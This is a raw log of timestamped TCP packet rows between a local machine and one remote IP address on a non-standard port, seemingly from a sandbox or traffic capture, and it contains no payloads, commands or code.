Jul 27, 2024 13:30:08.319148064 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319152117 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.319189072 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.319302082 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319406033 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319423914 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319447994 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.319494009 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319509983 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319525003 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319531918 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.319541931 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319561958 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.319875956 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319916964 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.319961071 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320024967 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320065975 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.320127964 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320142984 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320194960 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.320208073 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320224047 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320261002 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.320384979 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320431948 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320446968 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320471048 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.320581913 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320597887 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320611954 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320620060 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.320648909 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.320732117 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320748091 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320789099 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.320889950 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320904016 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320919037 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320930958 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320945024 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.320945978 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.320967913 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.321171045 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321186066 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321207047 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.321265936 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321280003 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321294069 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321300983 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.321310043 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321325064 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321331978 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.321340084 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321356058 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321365118 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.321393013 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.321713924 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321729898 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321744919 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321758986 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321775913 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321782112 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.321790934 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321805954 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.321813107 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.321834087 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.322124004 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322139978 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322154045 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322164059 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.322170019 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322185993 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322196007 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.322201967 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322222948 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.322520971 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322535992 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322551012 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322560072 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.322566032 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322583914 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322586060 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.322598934 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322613955 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322618961 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.322657108 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.322820902 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322961092 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322976112 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.322999001 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.323107958 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323122025 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323138952 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323154926 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323168993 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.323199034 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.323273897 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323313951 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.323342085 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323358059 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323371887 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323388100 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.323399067 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.323424101 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.324404001 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324621916 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324651957 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324661970 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.324675083 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324688911 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324703932 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324711084 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.324718952 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324739933 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.324769020 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324815035 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324830055 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324845076 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324850082 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.324860096 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.324881077 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.324903965 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.325047016 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325061083 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325076103 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325100899 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.325165033 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325200081 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.325232983 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325248957 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325284004 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.325342894 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325359106 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325372934 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325387955 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.325400114 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.325428009 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.325476885 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.363395929 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363435030 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363450050 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363493919 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.363678932 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363694906 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363709927 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363718033 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.363724947 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363749981 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.363851070 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363864899 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363879919 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363883972 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.363893986 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363909960 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363910913 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.363925934 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363940001 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.363940954 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.363969088 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.409660101 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.409704924 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.409722090 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.409742117 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.409746885 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.409779072 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.409806967 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.409821987 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.409845114 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.409859896 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.409862041 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.409889936 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410095930 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410109997 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410131931 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410146952 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410147905 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410161018 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410176992 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410177946 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410203934 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410449982 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410464048 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410478115 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410492897 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410501003 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410506964 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410520077 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410521030 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410537004 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410563946 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410801888 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410818100 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410832882 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410836935 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410849094 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410864115 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410865068 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410906076 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.410954952 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410969973 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410984039 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.410999060 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.411006927 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.411014080 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.411027908 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.411034107 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.411042929 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.411057949 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.411061049 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.411072969 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.411088943 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.411089897 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.411118984 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.411552906 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412023067 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412056923 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412082911 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412096977 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412111998 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412126064 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412132978 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412157059 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412224054 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412239075 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412252903 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412266016 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412273884 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412281036 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412295103 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412296057 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412311077 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412327051 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412338018 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412353992 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412540913 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412558079 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412573099 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412585974 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412595034 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412601948 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412616014 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412617922 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412631035 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412645102 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412646055 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412659883 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412678003 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412681103 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412695885 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412710905 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412717104 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412727118 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412739992 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412740946 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412758112 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412770987 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.412781954 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.412802935 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.413523912 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413539886 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413554907 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413573027 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413577080 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.413588047 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413603067 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413605928 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.413618088 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413633108 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413636923 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.413647890 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413662910 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413670063 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.413677931 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413691998 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413697958 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.413707018 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413719893 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.413727999 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.413758993 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.414222956 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414238930 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414252996 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414271116 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414287090 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414290905 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.414309978 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414316893 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.414324999 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414340973 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414341927 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.414356947 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414370060 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414386034 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414386034 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.414398909 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.414401054 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414414883 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414429903 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414442062 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.414444923 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.414465904 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.415185928 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.415201902 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.415216923 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.415224075 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.415232897 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.415247917 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.415249109 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.415288925 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.416342974 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.450644970 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.450691938 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.450709105 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.450727940 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.450803041 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.450819016 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.450835943 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.450841904 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.450859070 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.450881004 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.451036930 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.451051950 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.451067924 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.451069117 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.451085091 CEST	18576	49733	192.3.101.142	192.168.2.4
